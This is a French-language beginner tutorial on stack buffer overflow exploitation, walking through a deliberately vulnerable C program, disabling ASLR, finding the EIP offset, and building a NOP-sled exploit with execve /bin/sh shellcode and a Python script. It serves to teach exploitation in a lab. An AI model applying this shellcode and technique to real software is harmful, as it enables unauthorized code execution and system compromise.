Pour commencer ces tutoriaux sur l’exploitation de binaire je vous propose le classique binaire x86 sans protections.
Passage obligé de tout pwner en herbe, l’exploitation de binaire sans protection permet de prendre en main les divers outils qui seront utiles pour la suite.
Mise en place
Pour cet exemple, j’utilise une machine Ubuntu 18.04 à jour. Un serveur SSH ainsi que GDB Peda et Python sont installés sur la machine. J’utiliserais aussi Metasploit directement sur ma machine.
Le code que nous allons exploiter est le suivant :
#include <string.h> void vuln(char * oflow) { char buf[25]; strcpy(buf, oflow); } void main (int argc, char ** argv) { vuln(argv[1]); }
Pour la compilation, nous utiliserons la ligne de commande suivante :
gcc -o exploitme exploitme.c -fno-stack-protector -z execstack -m32
Enfin, nous allons désactiver l’ASLR ( commande à exécuter en root ) :
echo "0" > /proc/sys/kernel/randomize_va_space
Vulnérabilités
Avant de nous lancer bêtement dans une exploitation à l’aveugle, observons le code ainsi que la méthode de compilation utilisée.
Code source
Le code de ce binaire est assez simple, la fonction main ne fait qu’une seule chose, appeler la fonction vuln avec comme argument de fonction la valeur passé en argument 1 au lancement du programme.
Cette fonction vuln reçoit cet argument dans une variable nommée oflow puis ,déclare un tableau de chars buf de taille 25. Enfin elle utilise la fonction strcpy pour placer la valeur passé en argument dans ce tableau de chars.
C’est la principale vulnérabilité de notre programme. La fonction strcpy va copier l’intégralité de la variable oflow dans la variable buf, sans tenir compte de la taille de cette dernière. Ce comportement de strcpy se vérifie simplement en passant une variable de plus de 25 caractères en argument au programme :
Lors de la première tentative avec 24 caractères tout se passe comme prévu. A l’opposée de la seconde avec 42 caractères qui produit un Segfault, signe que le binaire a « crashé ».
J’utilise ici une sous commande python afin de générer la valeur de l’argument, cette syntaxe peut aussi être utilisée dans GDB.
C’est donc à ce moment la que GDB entre en scène afin de vérifier où se produit se crash :
La dernière ligne du déboggeur indique 0x61616161 in ?? (). Ce qui se traduit par « EIP tente d’accéder à l’instruction situé à l’adresse 0x61616161 mais n’y arrive pas «
0x61616161 correspond à la valeur hexadécimale de « aaaa », nous venons ainsi de prouver ici qu’il était possible de manipuler EIP depuis un argument passé au programme. Ce type de vulnérabilité s’appelle un buffer overflow, l’attaquant arrive à remplir un buffer avec plus de valeurs qu’il ne peut en contenir, les valeurs supplémentaires sont alors inscrite à la suite des premières dans la mémoire et ce peut importe ce qu’il s’y trouvait précédemment.
Compilation
Lors de l’étape de mise en place, je vous ai demandé de compiler le code avec un certain nombre d’arguments passés au compilateur :
- -m32 : Permet de compiler le binaire en 32bits sur une machine 64bits ( nécéssite gcc-multilib).
- -z execstack : Permet de rendre la stack executable.
- -fno-stack-protector : Permet de désactiver les protections sur la stack
Comme nous l’indique ces options, aucune protection n’est en place sur la stack. Cela peut se vérifier avec la commande checksec de peda :
Les parties qui nous interessent (CANARY et NX ) sont bien désactivées.
Machine Hôte
Enfin, je vous ai demandé de désactiver l’ASLR. Cette protection (Address Space Layout Randomization ou en français distribution aléatoire de l’espace d’adressage ) permet de distribuer les adresses mémoires du programme de manière aléatoire à chaque lancement.
Encore une fois, peda nous permet de vérifier la présence de l’ASLR avec la commande aslr.
Toutes les protections basiques étant désactivés nous pouvons passer à l’exploitation simple de ce binaire.
Exploitation
L’objectif va être ici d’exécuter un shellcode classique: execve /bin/sh. Ainsi après avoir exploité la vulnérabilité liée au strcpy nous allons obtenir un shell.
Trouver EIP
La première étape de l’exploitation d’un buffer overflow consiste à trouver la taille de buffer à remplir afin de contrôler un registre. En effet, nous n’allons pas toujours pouvoir contrôler directement EIP ( bien que ce soit le cas ici )
Pour cela, plusieurs techniques existent, la plus simple consiste en l’utilisation de patterns. Et encore une fois de nombreux outils sont disponibles, j’utiliserais ici Metasploit qui ( à l’heure ou j’écris cet article ) me parait être le plus pratique.
Tout d’abord, je génère un pattern, avec l’outil pattern_create :
~/H/E/m/t/exploit ❯❯❯ pwd /home/shoxx/HackingTools/Exploit/metasploit-framework/tools/exploit ~/H/E/m/t/exploit ❯❯❯ ruby pattern_create.rb -l 300 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Puis j’utilise ce pattern en tant qu’argument du binaire dans GDB :
gdb-peda$ run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5...
Le programme crash une nouvelle fois, GDB indique : 0x62413262 in ?? ().
Je renseigne donc cette adresse à l’outil metasploit pattern_offset :
~/H/E/m/t/exploit ❯❯❯ ./pattern_offset.rb -l 300 -q 0x62413262 [*] Exact match at offset 37
37 ! Nous avons donc le contrôle d’EIP au 37ème caractère, vérifions cela :
gdb-peda$ run $(python -c "from struct import pack; print 'a'*37+pack('<I',0xdeadbeef)")
J’utilise ici, la méthode pack de la librairie struct, celle ci permet de renseigner directement valeurs hexadécimales sans se prendre la tête avec la conversion little / big endian. Si nous contrôlons bien EIP, le débogeur va tenter d’accéder à l’adresse 0xdeadbeef et crasher :
Bingo ! Nous contrôlons donc EIP.
Préparation de l’exploit
Comme évoqué précédemment, nous savons que la pile est exécutable ( option -z execstack ) et que les adresses de la pile ne seront pas modifiés à chaque lancement.
Nous allons donc pouvoir inscrire notre shellcode dans la stack et, comme nous contrôlons EIP, rediriger le flux d’exécution au sein de cette dernière.
Pour un plus grand confort nous allons remplir la stack d’instructions inutiles comme \x90 ( nop ). Cette instruction ne modifie en rien la structure des registres, elle ne fait tout simplement rien. Afin d’avoir un exploit qui marchera à chaque coup, nous allons rediriger EIP dans un flux de nops qui précédera notre shellcode. Si jamais, l’adresse de la stack est décalée ( ce qui est le cas lorsque l’on tente d’exploiter un binaire hors de gdb ) EIP pointera quand même dans des nops et glissera vers notre shellcode.
Le shellcode que nous allons utiliser est le suivant :
\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
Vous pouvez le retrouver sur shell-storm.
Exploitation dans GDB
L’argument que nous allons donner à notre programme, et ce qui constitue notre exploit, est :
- « Junk datas » pour remplir le buffer ici 37 fois le caractère « a ».
- « Adresse d’EIP » pour le moment on ne la connait pas.
- « Important nombre de nops » ici 9000 nops, autant voir large.
- « Shellcode » la charge utile de notre exploit.
gdb-peda$ run $(python -c "from struct import pack; print 'a'*37+pack('<I',0xdeadbeef)+'\x90'*9000+'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'")
A ce moment, je m’attends a ce que le programme crash de nouveau à l’adresse 0xdeadbeef :
Nous pouvons alors remarquer que la stack est remplie d’instruction nop. Je peux alors analyser le contenu de cette dernière avec la commande x/9000i : « Affiche moi les 9000 prochaines valeurs de la stack sous forme d’instruction ».
Et vers la fin de celle ci, nous retrouvons notre shellcode :
Parfait ! Il ne me reste alors plus qu’à récupérer une adresse située au milieu des nops : 0xffffb4bd et à remplacer 0xdeadbeef dans mon exploit par cette valeur :
gdb-peda$ run $(python -c "from struct import pack; print 'a'*37+pack('<I',0xffffb4bd)+'\x90'*9000+'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'")
Cette fois ci, pas de crash le programme nous execute bien un invité de commande sh comme demandé.
Sortie de GDB
Une fois l’exploitation de notre binaire terminée dans GDB il reste peu d’étapes avant d’en avoir fini !
Tout d’abord, on va tenter de lancer directement l’exploit. Deux cas peuvent se produire, tout marche parfaitement, dans ce cas sautez ces explications, sinon continuez :
./exploitme $(python2 -c "from struct import pack; print 'a'*37+pack('<I',0xffffb264)+'\x90'*9000+'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'") Erreur de segmentation (core dumped)
Il est totalement possible que l’exploit ne fonctionne pas. Et ce n’est pas grave ! Ceci est le plus souvent dû au fait que GDB dispose de variables d’environnements supplémentaires, ces dernières étant placés dans la stack cela entraîne un décalage. Afin de palier à ce problème, la solution la plus simple est de choisir un nopsled plus important par exemple 11 000 au lieu de 9 000 :
Ecriture de l’exploit
Obtenir un shell de cette manière n’est pas une fin en soit, mais le plus gros est fait. A cet instant précis, nous allons nous concentrer sur l’écriture d’un exploit propre. Pour cela nous allons écrire un script python :
« Mais ca sert a rien d’écrire un exploit pour ce genre de binaire ». Si à s’entraîner !
Rien de très complexe pour ce premier exemple, nous allons juste reprendre notre ligne de commande et la transformer en script propre :
from struct import pack from os import system args = 'a'*37 args += pack('<I',0xffffb4bd) args +='\x90'*9000 args += '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' system("./exploitme "+args)
Ce qui nous donne une fois exécuté :
Conclusion
And voila ! Nous avons exploité avec succès notre premier binaire. Certes celui ci est sans aucune protection, mais cela permet une entrée en matière simple. N’hésitez pas à reprendre ce tutoriel tant que vous n’avez pas compris exactement ce qu’il se passait dans votre machine.
Ping : Bypass NX avec ret2libc sur un binaire x86 - shoxxdj.fr